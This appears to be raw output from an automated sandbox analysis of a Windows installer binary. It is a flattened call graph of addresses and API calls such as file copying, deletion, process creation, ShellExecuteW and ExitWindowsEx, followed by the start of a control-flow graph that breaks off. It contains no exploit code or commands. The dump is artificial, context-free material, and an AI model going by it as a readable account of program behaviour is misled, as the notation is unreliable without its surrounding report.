3853 401c0e 3851->3853 3854 406831 18 API calls 3852->3854 3855 406831 18 API calls 3853->3855 3856 401c29 3854->3856 3858 401c16 lstrcatW 3855->3858 3859 4062cf 11 API calls 3856->3859 3858->3856 3862 401c34 3859->3862 3860 401b50 3864 401b93 3860->3864 3865 401b53 3860->3865 3861->3831 3861->3834 3861->3835 3861->3837 3861->3843 3861->3849 3861->3860 3863 4062cf 11 API calls 3861->3863 3869 405e7c GetFileAttributesW CreateFileW 3861->3869 3896 405e5c GetFileAttributesW 3861->3896 3899 405ccc 3861->3899 3866 405ccc MessageBoxIndirectW 3862->3866 3863->3861 3867 4062cf 11 API calls 3864->3867 3868 4062cf 11 API calls 3865->3868 3866->3850 3867->3850 3868->3837 3869->3861 3871 40339a 3870->3871 3872 4033c7 3871->3872 3905 403368 SetFilePointer 3871->3905 3903 403336 ReadFile 3872->3903 3876 401bc6 3876->3844 3877 403546 3879 40354a 3877->3879 3880 40356e 3877->3880 3878 4033eb GetTickCount 3878->3876 3883 403438 3878->3883 3881 403336 ReadFile 3879->3881 3880->3876 3884 403336 ReadFile 3880->3884 3885 40358d WriteFile 3880->3885 3881->3876 3882 403336 ReadFile 3882->3883 3883->3876 3883->3882 3887 40348a GetTickCount 3883->3887 3888 4034af MulDiv wsprintfW 3883->3888 3890 4034f3 WriteFile 3883->3890 3884->3880 3885->3876 3886 4035a1 3885->3886 3886->3876 3886->3880 3887->3883 3889 404f9e 25 API calls 3888->3889 3889->3883 3890->3876 3890->3883 3891->3827 3892->3826 3894 401a75 lstrcatW 3893->3894 3895 40676b lstrcatW 3893->3895 3894->3827 3895->3894 3897 405e79 3896->3897 3898 405e6b SetFileAttributesW 3896->3898 3897->3861 3898->3897 3900 405ce1 3899->3900 3901 405d2f 3900->3901 3902 405cf7 MessageBoxIndirectW 3900->3902 3901->3861 3902->3901 3904 403357 3903->3904 3904->3876 3904->3877 3904->3878 3905->3872 4858 40209f GetDlgItem GetClientRect 4859 40145c 18 API calls 4858->4859 4860 4020cf LoadImageW SendMessageW 4859->4860 4861 4030e3 4860->4861 4862 4020ed DeleteObject 4860->4862 4862->4861 4863 402b9f 4864 401446 18 API calls 4863->4864 4868 402ba7 4864->4868 4865 402c4a 4866 402bdf ReadFile 4866->4868 4875 402c3d 4866->4875 4867 401446 18 API calls 4867->4875 4868->4865 4868->4866 4869 402c06 MultiByteToWideChar 4868->4869 4870 402c3f 4868->4870 4871 402c4f 4868->4871 4868->4875 4869->4868 4869->4871 4876 405f7d wsprintfW 4870->4876 4873 402c6b SetFilePointer 4871->4873 4871->4875 4873->4875 4874 402d17 ReadFile 4874->4875 4875->4865 4875->4867 4875->4874 4876->4865 4877 402b23 GlobalAlloc 4878 402b39 4877->4878 4879 402b4b 4877->4879 4880 401446 18 API calls 4878->4880 4881 40145c 18 API calls 4879->4881 4883 402b41 4880->4883 4882 402b52 WideCharToMultiByte lstrlenA 4881->4882 4882->4883 4884 402b84 WriteFile 4883->4884 4885 402b93 4883->4885 4884->4885 4886 402384 GlobalFree 4884->4886 4886->4885 4888 4040a3 4889 4040b0 lstrcpynW lstrlenW 4888->4889 4890 4040ad 4888->4890 4890->4889 3430 4054a5 3431 4055f9 3430->3431 3432 4054bd 3430->3432 3434 40564a 3431->3434 3435 40560a GetDlgItem GetDlgItem 3431->3435 3432->3431 3433 4054c9 3432->3433 3437 4054d4 SetWindowPos 3433->3437 3438 4054e7 3433->3438 3436 4056a4 3434->3436 3444 40139d 80 API calls 3434->3444 3439 403d6b 19 API calls 3435->3439 3445 4055f4 3436->3445 3500 403ddb 3436->3500 3437->3438 3441 405504 3438->3441 3442 4054ec ShowWindow 3438->3442 3443 405634 SetClassLongW 3439->3443 3446 405526 3441->3446 3447 40550c DestroyWindow 3441->3447 3442->3441 3448 40141d 80 API calls 3443->3448 3451 40567c 3444->3451 3449 40552b SetWindowLongW 3446->3449 3450 40553c 3446->3450 3452 405908 3447->3452 3448->3434 3449->3445 3453 4055e5 3450->3453 3454 405548 GetDlgItem 3450->3454 3451->3436 3455 405680 SendMessageW 3451->3455 3452->3445 3461 405939 ShowWindow 3452->3461 3520 403df6 3453->3520 3458 405578 3454->3458 3459 40555b SendMessageW IsWindowEnabled 3454->3459 3455->3445 3456 40141d 80 API calls 3469 4056b6 3456->3469 3457 40590a DestroyWindow KiUserCallbackDispatcher 3457->3452 3463 405585 3458->3463 3466 4055cc SendMessageW 3458->3466 3467 405598 3458->3467 3475 40557d 3458->3475 3459->3445 3459->3458 3461->3445 3462 406831 18 API calls 3462->3469 3463->3466 3463->3475 3465 403d6b 19 API calls 3465->3469 3466->3453 3470 4055a0 3467->3470 3471 4055b5 3467->3471 3468 4055b3 3468->3453 3469->3445 3469->3456 3469->3457 3469->3462 3469->3465 3491 40584a DestroyWindow 3469->3491 3503 403d6b 3469->3503 3514 40141d 3470->3514 3472 40141d 80 API calls 3471->3472 3474 4055bc 3472->3474 3474->3453 3474->3475 3517 403d44 3475->3517 3477 405731 GetDlgItem 3478 405746 3477->3478 3479 40574f ShowWindow KiUserCallbackDispatcher 3477->3479 3478->3479 3506 403db1 KiUserCallbackDispatcher 3479->3506 3481 405779 EnableWindow 3484 40578d 3481->3484 3482 405792 GetSystemMenu EnableMenuItem SendMessageW 3483 4057c2 SendMessageW 3482->3483 3482->3484 3483->3484 3484->3482 3507 403dc4 SendMessageW 3484->3507 3508 406035 lstrcpynW 3484->3508 3487 4057f0 lstrlenW 3488 406831 18 API calls 3487->3488 3489 405806 SetWindowTextW 3488->3489 3509 40139d 3489->3509 3491->3452 3492 405864 CreateDialogParamW 3491->3492 3492->3452 3493 405897 3492->3493 3494 403d6b 19 API calls 3493->3494 3495 4058a2 GetDlgItem GetWindowRect ScreenToClient SetWindowPos 3494->3495 3496 40139d 80 API calls 3495->3496 3497 4058e8 3496->3497 3497->3445 3498 4058f0 ShowWindow 3497->3498 3499 403ddb SendMessageW 3498->3499 3499->3452 3501 403df3 3500->3501 3502 403de4 SendMessageW 3500->3502 3501->3469 3502->3501 3504 406831 18 API calls 3503->3504 3505 403d76 SetDlgItemTextW 3504->3505 3505->3477 3506->3481 3507->3484 3508->3487 3512 4013a4 3509->3512 3510 401410 3510->3469 3512->3510 3513 4013dd MulDiv SendMessageW 3512->3513 3534 4015a0 3512->3534 3513->3512 3515 40139d 80 API calls 3514->3515 3516 401432 3515->3516 3516->3475 3518 403d51 SendMessageW 3517->3518 3519 403d4b 3517->3519 3518->3468 3519->3518 3521 403e0b GetWindowLongW 3520->3521 3531 403e94 3520->3531 3522 403e1c 3521->3522 3521->3531 3523 403e2b GetSysColor 3522->3523 3524 403e2e 3522->3524 3523->3524 3525 403e34 SetTextColor 3524->3525 3526 403e3e SetBkMode 3524->3526 3525->3526 3527 403e56 GetSysColor 3526->3527 3528 403e5c 3526->3528 3527->3528 3529 403e63 SetBkColor 3528->3529 3530 403e6d 3528->3530 3529->3530 3530->3531 3532 403e80 DeleteObject 3530->3532 3533 403e87 CreateBrushIndirect 3530->3533 3531->3445 3532->3533 3533->3531 3535 4015fa 3534->3535 3614 40160c 3534->3614 3536 401601 3535->3536 3537 401742 3535->3537 3538 401962 3535->3538 3539 4019ca 3535->3539 3540 40176e 3535->3540 3541 401650 3535->3541 3542 4017b1 3535->3542 3543 401672 3535->3543 3544 401693 3535->3544 3545 401616 3535->3545 3546 4016d6 3535->3546 3547 401736 3535->3547 3548 401897 3535->3548 3549 4018db 3535->3549 3550 40163c 3535->3550 3551 4016bd 3535->3551 3535->3614 3560 4062cf 11 API calls 3536->3560 3552 401751 ShowWindow 3537->3552 3553 401758 3537->3553 3557 40145c 18 API calls 3538->3557 3564 40145c 18 API calls 3539->3564 3554 40145c 18 API calls 3540->3554 3578 4062cf 11 API calls 3541->3578 3558 40145c 18 API calls 3542->3558 3555 40145c 18 API calls 3543->3555 3559 401446 18 API calls 3544->3559 3563 40145c 18 API calls 3545->3563 3577 401446 18 API calls 3546->3577 3546->3614 3547->3614 3668 405f7d wsprintfW 3547->3668 3556 40145c 18 API calls 3548->3556 3561 40145c 18 API calls 3549->3561 3565 401647 PostQuitMessage 3550->3565 3550->3614 3562 4062cf 11 API calls 3551->3562 3552->3553 3566 401765 ShowWindow 3553->3566 3553->3614 3567 401775 3554->3567 3568 401678 3555->3568 3569 40189d 3556->3569 3570 401968 GetFullPathNameW 3557->3570 3571 4017b8 3558->3571 3572 40169a 3559->3572 3560->3614 3573 4018e2 3561->3573 3574 4016c7 SetForegroundWindow 3562->3574 3575 40161c 3563->3575 3576 4019d1 SearchPathW 3564->3576 3565->3614 3566->3614 3580 4062cf 11 API calls 3567->3580 3581 4062cf 11 API calls 3568->3581 3659 406301 FindFirstFileW 3569->3659 3583 4019a1 3570->3583 3584 40197f 3570->3584 3585 4062cf 11 API calls 3571->3585 3586 4062cf 11 API calls 3572->3586 3587 40145c 18 API calls 3573->3587 3574->3614 3588 4062cf 11 API calls 3575->3588 3576->3547 3576->3614 3577->3614 3589 401664 3578->3589 3590 401785 SetFileAttributesW 3580->3590 3591 401683 3581->3591 3603 4019b8 GetShortPathNameW 3583->3603 3583->3614 3584->3583 3609 406301 2 API calls 3584->3609 3593 4017c9 3585->3593 3594 4016a7 Sleep 3586->3594 3595 4018eb 3587->3595 3596 401627 3588->3596 3597 40139d 65 API calls 3589->3597 3598 40179a 3590->3598 3590->3614 3607 404f9e 25 API calls 3591->3607 3641 405d85 CharNextW CharNextW 3593->3641 3594->3614 3604 40145c 18 API calls 3595->3604 3605 404f9e 25 API calls 3596->3605 3597->3614 3606 4062cf 11 API calls 3598->3606 3599 4018c2 3610 4062cf 11 API calls 3599->3610 3600 4018a9 3608 4062cf 11 API calls 3600->3608 3603->3614 3612 4018f5 3604->3612 3605->3614 3606->3614 3607->3614 3608->3614 3613 401991 3609->3613 3610->3614 3611 4017d4 3615 401864 3611->3615 3618 405d32 CharNextW 3611->3618 3636 4062cf 11 API calls 3611->3636 3616 4062cf 11 API calls 3612->3616 3613->3583 3667 406035 lstrcpynW 3613->3667 3614->3512 3615->3591 3617 40186e 3615->3617 3619 401902 MoveFileW 3616->3619 3647 404f9e 3617->3647 3622 4017e6 CreateDirectoryW 3618->3622 3623 401912 3619->3623 3624 40191e 3619->3624 3622->3611 3626 4017fe GetLastError 3622->3626 3623->3591 3630 406301 2 API calls 3624->3630 3640 401942 3624->3640 3628 401827 GetFileAttributesW 3626->3628 3629 40180b GetLastError 3626->3629 3628->3611 3633 4062cf 11 API calls 3629->3633 3634 401929 3630->3634 3631 401882 SetCurrentDirectoryW 3631->3614 3632 4062cf 11 API calls 3635 40195c 3632->3635 3633->3611 3634->3640 3662 406c94 3634->3662 3635->3614 3636->3611 3639 404f9e 25 API calls 3639->3640 3640->3632 3642 405da2 3641->3642 3645 405db4 3641->3645 3644 405daf CharNextW 3642->3644 3642->3645 3643 405dd8 3643->3611 3644->3643 3645->3643 3646 405d32 CharNextW 3645->3646 3646->3645 3648 404fb7 3647->3648 3649 401875 3647->3649 3650 404fd5 lstrlenW 3648->3650 3651 406831 18 API calls 3648->3651 3658 406035 lstrcpynW 3649->3658 3652 404fe3 lstrlenW 3650->3652 3653 404ffe 3650->3653 3651->3650 3652->3649 3654 404ff5 lstrcatW 3652->3654 3655 405011 3653->3655 3656 405004 SetWindowTextW 3653->3656 3654->3653 3655->3649 3657 405017 SendMessageW SendMessageW SendMessageW 3655->3657 3656->3655 3657->3649 3658->3631 3660 4018a5 3659->3660 3661 406317 FindClose 3659->3661 3660->3599 3660->3600 3661->3660 3669 406328 GetModuleHandleA 3662->3669 3666 401936 3666->3639 3667->3583 3668->3614 3670 406340 LoadLibraryA 3669->3670 3671 40634b GetProcAddress 3669->3671 3670->3671 3672 406359 3670->3672 3671->3672 3672->3666 3673 406ac5 lstrcpyW 3672->3673 3674 406b13 GetShortPathNameW 3673->3674 3675 406aea 3673->3675 3676 406b2c 3674->3676 3677 406c8e 3674->3677 3699 405e7c GetFileAttributesW CreateFileW 3675->3699 3676->3677 3680 406b34 WideCharToMultiByte 3676->3680 3677->3666 3679 406af3 CloseHandle GetShortPathNameW 3679->3677 3681 406b0b 3679->3681 3680->3677 3682 406b51 WideCharToMultiByte 3680->3682 3681->3674 3681->3677 3682->3677 3683 406b69 wsprintfA 3682->3683 3684 406831 18 API calls 3683->3684 3685 406b95 3684->3685 3700 405e7c GetFileAttributesW CreateFileW 3685->3700 3687 406ba2 3687->3677 3688 406baf GetFileSize GlobalAlloc 3687->3688 3689 406bd0 ReadFile 3688->3689 3690 406c84 CloseHandle 3688->3690 3689->3690 3691 406bea 3689->3691 3690->3677 3691->3690 3701 405de2 lstrlenA 3691->3701 3694 406c03 lstrcpyA 3697 406c25 3694->3697 3695 406c17 3696 405de2 4 API calls 3695->3696 3696->3697 3698 406c5c SetFilePointer WriteFile GlobalFree 3697->3698 3698->3690 3699->3679 3700->3687 3702 405e23 lstrlenA 3701->3702 3703 405e2b 3702->3703 3704 405dfc lstrcmpiA 3702->3704 3703->3694 3703->3695 3704->3703 3705 405e1a CharNextA 3704->3705 3705->3702 4891 402da5 4892 4030e3 4891->4892 4893 402dac 4891->4893 4894 401446 18 API calls 4893->4894 4895 402db8 4894->4895 4896 402dbf SetFilePointer 4895->4896 4896->4892 4897 402dcf 4896->4897 4897->4892 4899 405f7d wsprintfW 4897->4899 4899->4892 4900 4049a8 GetDlgItem GetDlgItem 4901 4049fe 7 API calls 4900->4901 4906 404c16 4900->4906 4902 404aa2 DeleteObject 4901->4902 4903 404a96 SendMessageW 4901->4903 4904 404aad 4902->4904 4903->4902 4907 404ae4 4904->4907 4910 406831 18 API calls 4904->4910 4905 404cfb 4908 404da0 4905->4908 4909 404c09 4905->4909 4914 404d4a SendMessageW 4905->4914 4906->4905 4918 40487a 5 API calls 4906->4918 4931 404c86 4906->4931 4913 403d6b 19 API calls 4907->4913 4911 404db5 4908->4911 4912 404da9 SendMessageW 4908->4912 4915 403df6 8 API calls 4909->4915 4916 404ac6 SendMessageW SendMessageW 4910->4916 4923 404dc7 ImageList_Destroy 4911->4923 4924 404dce 4911->4924 4929 404dde 4911->4929 4912->4911 4919 404af8 4913->4919 4914->4909 4921 404d5f SendMessageW 4914->4921 4922 404f97 4915->4922 4916->4904 4917 404ced SendMessageW 4917->4905 4918->4931 4925 403d6b 19 API calls 4919->4925 4920 404f48 4920->4909 4930 404f5d ShowWindow GetDlgItem ShowWindow 4920->4930 4926 404d72 4921->4926 4923->4924 4927 404dd7 GlobalFree 4924->4927 4924->4929 4933 404b09 4925->4933 4935 404d83 SendMessageW 4926->4935 4927->4929 4928 404bd6 GetWindowLongW SetWindowLongW 4932 404bf0 4928->4932 4929->4920 4934 40141d 80 API calls 4929->4934 4944 404e10 4929->4944 4930->4909 4931->4905 4931->4917 4936 404bf6 ShowWindow 4932->4936 4937 404c0e 4932->4937 4933->4928 4939 404b65 SendMessageW 4933->4939 4940 404bd0 4933->4940 4942 404b93 SendMessageW 4933->4942 4943 404ba7 SendMessageW 4933->4943 4934->4944 4935->4908 4951 403dc4 SendMessageW 4936->4951 4952 403dc4 SendMessageW 4937->4952 4939->4933 4940->4928 4940->4932 4942->4933 4943->4933 4945 404e54 4944->4945 4948 404e3e SendMessageW 4944->4948 4946 404f1f InvalidateRect 4945->4946 4950 404ecd SendMessageW SendMessageW 4945->4950 4946->4920 4947 404f35 4946->4947 4949 4043d9 21 API calls 4947->4949 4948->4945 4949->4920 4950->4945 4951->4909 4952->4906 4953 4030a9 SendMessageW 4954 4030c2 InvalidateRect 4953->4954 4955 4030e3 4953->4955 4954->4955 3906 4038af #17 SetErrorMode OleInitialize 3907 406328 3 API calls 3906->3907 3908 4038f2 SHGetFileInfoW 3907->3908 3980 406035 lstrcpynW 3908->3980 3910 40391d GetCommandLineW 3981 406035 lstrcpynW 3910->3981 3912 40392f GetModuleHandleW 3913 403947 3912->3913 3914 405d32 CharNextW 3913->3914 3915 403956 CharNextW 3914->3915 3926 403968 3915->3926 3916 403a02 3917 403a21 GetTempPathW 3916->3917 3982 4037f8 3917->3982 3919 403a37 3921 403a3b GetWindowsDirectoryW lstrcatW 3919->3921 3922 403a5f DeleteFileW 3919->3922 3920 405d32 CharNextW 3920->3926 3924 4037f8 11 API calls 3921->3924 3990 4035b3 GetTickCount GetModuleFileNameW 3922->3990 3927 403a57 3924->3927 3925 403a73 3928 403af8 3925->3928 3930 405d32 CharNextW 3925->3930 3966 403add 3925->3966 3926->3916 3926->3920 3933 403a04 3926->3933 3927->3922 3927->3928 4075 403885 3928->4075 3934 403a8a 3930->3934 4082 406035 lstrcpynW 3933->4082 3945 403b23 lstrcatW lstrcmpiW 3934->3945 3946 403ab5 3934->3946 3935 403aed 3938 406113 9 API calls 3935->3938 3936 403bfa 3939 403c7d 3936->3939 3941 406328 3 API calls 3936->3941 3937 403b0d 3940 405ccc MessageBoxIndirectW 3937->3940 3938->3928 3942 403b1b ExitProcess 3940->3942 3944 403c09 3941->3944 3948 406328 3 API calls 3944->3948 3945->3928 3947 403b3f CreateDirectoryW SetCurrentDirectoryW 3945->3947 4083 4067aa 3946->4083 3950 403b62 3947->3950 3951 403b57 3947->3951 3952 403c12 3948->3952 4100 406035 lstrcpynW 3950->4100 4099 406035 lstrcpynW 3951->4099 3956 406328 3 API calls 3952->3956 3959 403c1b 3956->3959 3958 403b70 4101 406035 lstrcpynW 3958->4101 3960 403c69 ExitWindowsEx 3959->3960 3965 403c29 GetCurrentProcess 3959->3965 3960->3939 3964 403c76 3960->3964 3961 403ad2 4098 406035 lstrcpynW 3961->4098 3967 40141d 80 API calls 3964->3967 3969 403c39 3965->3969 4018 405958 3966->4018 3967->3939 3968 406831 18 API calls 3970 403b98 DeleteFileW 3968->3970 3969->3960 3971 403ba5 CopyFileW 3970->3971 3977 403b7f 3970->3977 3971->3977 3972 403bee 3973 406c94 42 API calls 3972->3973 3975 403bf5 3973->3975 3974 406c94 42 API calls 3974->3977 3975->3928 3976 406831 18 API calls 3976->3977 3977->3968 3977->3972 3977->3974 3977->3976 3979 403bd9 CloseHandle 3977->3979 4102 405c6b CreateProcessW 3977->4102 3979->3977 3980->3910 3981->3912 3983 406064 5 API calls 3982->3983 3984 403804 3983->3984 3985 40380e 3984->3985 3986 40674e 3 API calls 3984->3986 3985->3919 3987 403816 CreateDirectoryW 3986->3987 3988 405eab 2 API calls 3987->3988 3989 40382a 3988->3989 3989->3919 4105 405e7c GetFileAttributesW CreateFileW 3990->4105 3992 4035f3 4012 403603 3992->4012 4106 406035 lstrcpynW 3992->4106 3994 403619 4107 40677d lstrlenW 3994->4107 3998 40362a GetFileSize 3999 403726 3998->3999 4013 403641 3998->4013 4112 4032d2 3999->4112 4001 40372f 4003 40376b GlobalAlloc 4001->4003 4001->4012 4124 403368 SetFilePointer 4001->4124 4002 403336 ReadFile 4002->4013 4123 403368 SetFilePointer 4003->4123 4006 4037e9 4009 4032d2 6 API calls 4006->4009 4007 403786 4010 40337f 33 API calls 4007->4010 4008 40374c 4011 403336 ReadFile 4008->4011 4009->4012 4016 403792 4010->4016 4015 403757 4011->4015 4012->3925 4013->3999 4013->4002 4013->4006 4013->4012 4014 4032d2 6 API calls 4013->4014 4014->4013 4015->4003 4015->4012 4016->4012 4016->4016 4017 4037c0 SetFilePointer 4016->4017 4017->4012 4019 406328 3 API calls 4018->4019 4020 40596c 4019->4020 4021 405972 4020->4021 4022 405984 4020->4022 4138 405f7d wsprintfW 4021->4138 4023 405eff 3 API calls 4022->4023 4024 4059b5 4023->4024 4026 4059d4 lstrcatW 4024->4026 4028 405eff 3 API calls 4024->4028 4027 405982 4026->4027 4129 403ec1 4027->4129 4028->4026 4031 4067aa 18 API calls 4032 405a06 4031->4032 4033 405a9c 4032->4033 4035 405eff 3 API calls 4032->4035 4034 4067aa 18 API calls 4033->4034 4036 405aa2 4034->4036 4037 405a38 4035->4037 4038 405ab2 4036->4038 4039 406831 18 API calls 4036->4039 4037->4033 4041 405a5b lstrlenW 4037->4041 4044 405d32 CharNextW 4037->4044 4040 405ad2 LoadImageW 4038->4040 4140 403ea0 4038->4140 4039->4038 4042 405b92 4040->4042 4043 405afd RegisterClassW 4040->4043 4045 405a69 lstrcmpiW 4041->4045 4046 405a8f 4041->4046 4050 40141d 80 API calls 4042->4050 4048 405b9c 4043->4048 4049 405b45 SystemParametersInfoW CreateWindowExW 4043->4049 4051 405a56 4044->4051 4045->4046 4052 405a79 GetFileAttributesW 4045->4052 4054 40674e 3 API calls 4046->4054 4048->3935 4049->4042 4055 405b98 4050->4055 4051->4041 4056 405a85 4052->4056 4053 405ac8 4053->4040 4057 405a95 4054->4057 4055->4048 4058 403ec1 19 API calls 4055->4058 4056->4046 4059 40677d 2 API calls 4056->4059 4139 406035 lstrcpynW 4057->4139 4061 405ba9 4058->4061 4059->4046 4062 405bb5 ShowWindow LoadLibraryW 4061->4062 4063 405c38 4061->4063 4064 405bd4 LoadLibraryW 4062->4064 4065 405bdb GetClassInfoW 4062->4065 4066 405073 83 API calls 4063->4066 4064->4065 4067 405c05 DialogBoxParamW 4065->4067 4068 405bef GetClassInfoW RegisterClassW 4065->4068 4069 405c3e 4066->4069 4072 40141d 80 API calls 4067->4072 4068->4067 4070 405c42 4069->4070 4071 405c5a 4069->4071 4070->4048 4074 40141d 80 API calls 4070->4074 4073 40141d 80 API calls 4071->4073 4072->4048 4073->4048 4074->4048 4076 40389d 4075->4076 4077 40388f CloseHandle 4075->4077 4147 403caf 4076->4147 4077->4076 4082->3917 4200 406035 lstrcpynW 4083->4200 4085 4067bb 4086 405d85 4 API calls 4085->4086 4087 4067c1 4086->4087 4088 406064 5 API calls 4087->4088 4095 403ac3 4087->4095 4091 4067d1 4088->4091 4089 406809 lstrlenW 4090 406810 4089->4090 4089->4091 4093 40674e 3 API calls 4090->4093 4091->4089 4092 406301 2 API calls 4091->4092 4091->4095 4096 40677d 2 API calls 4091->4096 4092->4091 4094 406816 GetFileAttributesW 4093->4094 4094->4095 4095->3928 4097 406035 lstrcpynW 4095->4097 4096->4089 4097->3961 4098->3966 4099->3950 4100->3958 4101->3977 4103 405ca6 4102->4103 4104 405c9a CloseHandle 4102->4104 4103->3977 4104->4103 4105->3992 4106->3994 4108 40678c 4107->4108 4109 406792 CharPrevW 4108->4109 4110 40361f 4108->4110 4109->4108 4109->4110 4111 406035 lstrcpynW 4110->4111 4111->3998 4113 4032f3 4112->4113 4114 4032db 4112->4114 4117 403303 GetTickCount 4113->4117 4118 4032fb 4113->4118 4115 4032e4 DestroyWindow 4114->4115 4116 4032eb 4114->4116 4115->4116 4116->4001 4120 403311 CreateDialogParamW ShowWindow 4117->4120 4121 403334 4117->4121 4125 40635e 4118->4125 4120->4121 4121->4001 4123->4007 4124->4008 4126 40637b PeekMessageW 4125->4126 4127 406371 DispatchMessageW 4126->4127 4128 403301 4126->4128 4127->4126 4128->4001 4130 403ed5 4129->4130 4145 405f7d wsprintfW 4130->4145 4132 403f49 4133 406831 18 API calls 4132->4133 4134 403f55 SetWindowTextW 4133->4134 4135 403f70 4134->4135 4136 403f8b 4135->4136 4137 406831 18 API calls 4135->4137 4136->4031 4137->4135 4138->4027 4139->4033 4146 406035 lstrcpynW 4140->4146 4142 403eb4 4143 40674e 3 API calls 4142->4143 4144 403eba lstrcatW 4143->4144 4144->4053 4145->4132 4146->4142 4148 403cbd 4147->4148 4149 4038a2 4148->4149 4150 403cc2 FreeLibrary GlobalFree 4148->4150 4151 406cc7 4149->4151 4150->4149 4150->4150 4152 4067aa 18 API calls 4151->4152 4153 406cda 4152->4153 4154 406ce3 DeleteFileW 4153->4154 4155 406cfa 4153->4155 4194 4038ae CoUninitialize 4154->4194 4156 406e77 4155->4156 4198 406035 lstrcpynW 4155->4198 4162 406301 2 API calls 4156->4162 4182 406e84 4156->4182 4156->4194 4158 406d25 4159 406d39 4158->4159 4160 406d2f lstrcatW 4158->4160 4163 40677d 2 API calls 4159->4163 4161 406d3f 4160->4161 4165 406d4f lstrcatW 4161->4165 4167 406d57 lstrlenW FindFirstFileW 4161->4167 4164 406e90 4162->4164 4163->4161 4168 40674e 3 API calls 4164->4168 4164->4194 4165->4167 4166 4062cf 11 API calls 4166->4194 4171 406e67 4167->4171 4195 406d7e 4167->4195 4169 406e9a 4168->4169 4172 4062cf 11 API calls 4169->4172 4170 405d32 CharNextW 4170->4195 4171->4156 4173 406ea5 4172->4173 4174 405e5c 2 API calls 4173->4174 4175 406ead RemoveDirectoryW 4174->4175 4179 406ef0 4175->4179 4180 406eb9 4175->4180 4176 406e44 FindNextFileW 4178 406e5c FindClose 4176->4178 4176->4195 4178->4171 4181 404f9e 25 API calls 4179->4181 4180->4182 4183 406ebf 4180->4183 4181->4194 4182->4166 4185 4062cf 11 API calls 4183->4185 4184 4062cf 11 API calls 4184->4195 4186 406ec9 4185->4186 4189 404f9e 25 API calls 4186->4189 4187 406cc7 72 API calls 4187->4195 4188 405e5c 2 API calls 4190 406dfa DeleteFileW 4188->4190 4191 406ed3 4189->4191 4190->4195 4192 406c94 42 API calls 4191->4192 4192->4194 4193 404f9e 25 API calls 4193->4176 4194->3936 4194->3937 4195->4170 4195->4176 4195->4184 4195->4187 4195->4188 4195->4193 4196 404f9e 25 API calls 4195->4196 4197 406c94 42 API calls 4195->4197 4199 406035 lstrcpynW 4195->4199 4196->4195 4197->4195 4198->4158 4199->4195 4200->4085 4956 401cb2 4957 40145c 18 API calls 4956->4957 4958 401c54 4957->4958 4959 4062cf 11 API calls 4958->4959 4960 401c64 4958->4960 4961 401c59 4959->4961 4962 406cc7 81 API calls 4961->4962 4962->4960 3706 4021b5 3707 40145c 18 API calls 3706->3707 3708 4021bb 3707->3708 3709 40145c 18 API calls 3708->3709 3710 4021c4 3709->3710 3711 40145c 18 API calls 3710->3711 3712 4021cd 3711->3712 3713 40145c 18 API calls 3712->3713 3714 4021d6 3713->3714 3715 404f9e 25 API calls 3714->3715 3716 4021e2 ShellExecuteW 3715->3716 3717 40221b 3716->3717 3718 40220d 3716->3718 3719 4062cf 11 API calls 3717->3719 3720 4062cf 11 API calls 3718->3720 3721 402230 3719->3721 3720->3717 4963 402238 4964 40145c 18 API calls 4963->4964 4965 40223e 4964->4965 4966 4062cf 11 API calls 4965->4966 4967 40224b 4966->4967 4968 404f9e 25 API calls 4967->4968 4969 402255 4968->4969 4970 405c6b 2 API calls 4969->4970 4971 40225b 4970->4971 4972 4062cf 11 API calls 4971->4972 4980 4022ac CloseHandle 4971->4980 4977 40226d 4972->4977 4974 4030e3 4975 402283 WaitForSingleObject 4976 402291 GetExitCodeProcess 4975->4976 4975->4977 4979 4022a3 4976->4979 4976->4980 4977->4975 4978 40635e 2 API calls 4977->4978 4977->4980 4978->4975 4982 405f7d wsprintfW 4979->4982 4980->4974 4982->4980 3782 401eb9 3783 401f24 3782->3783 3786 401ec6 3782->3786 3784 401f53 GlobalAlloc 3783->3784 3788 401f28 3783->3788 3790 406831 18 API calls 3784->3790 3785 401ed5 3789 4062cf 11 API calls 3785->3789 3786->3785 3792 401ef7 3786->3792 3787 401f36 3806 406035 lstrcpynW 3787->3806 3788->3787 3791 4062cf 11 API calls 3788->3791 3801 401ee2 3789->3801 3794 401f46 3790->3794 3791->3787 3804 406035 lstrcpynW 3792->3804 3796 402708 3794->3796 3797 402387 GlobalFree 3794->3797 3797->3796 3798 401f06 3805 406035 lstrcpynW 3798->3805 3799 406831 18 API calls 3799->3801 3801->3796 3801->3799 3802 401f15 3807 406035 lstrcpynW 3802->3807 3804->3798 3805->3802 3806->3794 3807->3796 4983 404039 4984 404096 4983->4984 4985 404046 lstrcpynA lstrlenA 4983->4985 4985->4984 4986 404077 4985->4986 4986->4984 4987 404083 GlobalFree 4986->4987 4987->4984

                                  Executed Functions

                                  Function 004050F9 Relevance: 66.8, APIs: 36, Strings: 2, Instructions: 295windowclipboardmemoryCOMMON
                                  Download Yara Rule

                                  Control-flow Graph

                                  • Executed
                                  • Not Executed
                                  control_flow_graph 0 4050f9-405114 1 4052c1-4052c8 0->1 2 40511a-405201 GetDlgItem * 3 call 403dc4 call 4044a2 call 406831 call 4062cf GetClientRect GetSystemMetrics SendMessageW * 2 0->2 3 4052f2-4052ff 1->3 4 4052ca-4052ec GetDlgItem CreateThread CloseHandle 1->4 35 405203-40521d SendMessageW * 2 2->35 36 40521f-405222 2->36 6 405320-405327 3->6 7 405301-40530a 3->7 4->3 11 405329-40532f 6->11 12 40537e-405382 6->12 9 405342-40534b call 403df6 7->9 10 40530c-40531b ShowWindow * 2 call 403dc4 7->10 22 405350-405354 9->22 10->6 16 405331-40533d call 403d44 11->16 17 405357-405367 ShowWindow 11->17 12->9 14 405384-405387 12->14 14->9 20 405389-40539c SendMessageW 14->20 16->9 23 405377-405379 call 403d44 17->23 24 405369-405372 call 404f9e 17->24 29 4053a2-4053c3 CreatePopupMenu call 406831 AppendMenuW 20->29 30 4052ba-4052bc 20->30 23->12 24->23 37 4053c5-4053d6 GetWindowRect 29->37 38 4053d8-4053de 29->38 30->22 35->36 39 405232-405249 call 403d6b 36->39 40 405224-405230 SendMessageW 36->40 41 4053df-4053f7 TrackPopupMenu 37->41 38->41 46 40524b-40525f ShowWindow 39->46 47 40527f-4052a0 GetDlgItem SendMessageW 39->47 40->39 41->30 43 4053fd-405414 41->43 45 405419-405434 SendMessageW 43->45 45->45 48 405436-405459 OpenClipboard EmptyClipboard GlobalAlloc GlobalLock 45->48 49 405261-40526c ShowWindow 46->49 50 40526e 46->50 47->30 51 4052a2-4052b8 SendMessageW * 2 47->51 52 40545b-405484 SendMessageW 48->52 54 405274-40527a call 403dc4 49->54 50->54 51->30 52->52 53 405486-4054a0 GlobalUnlock 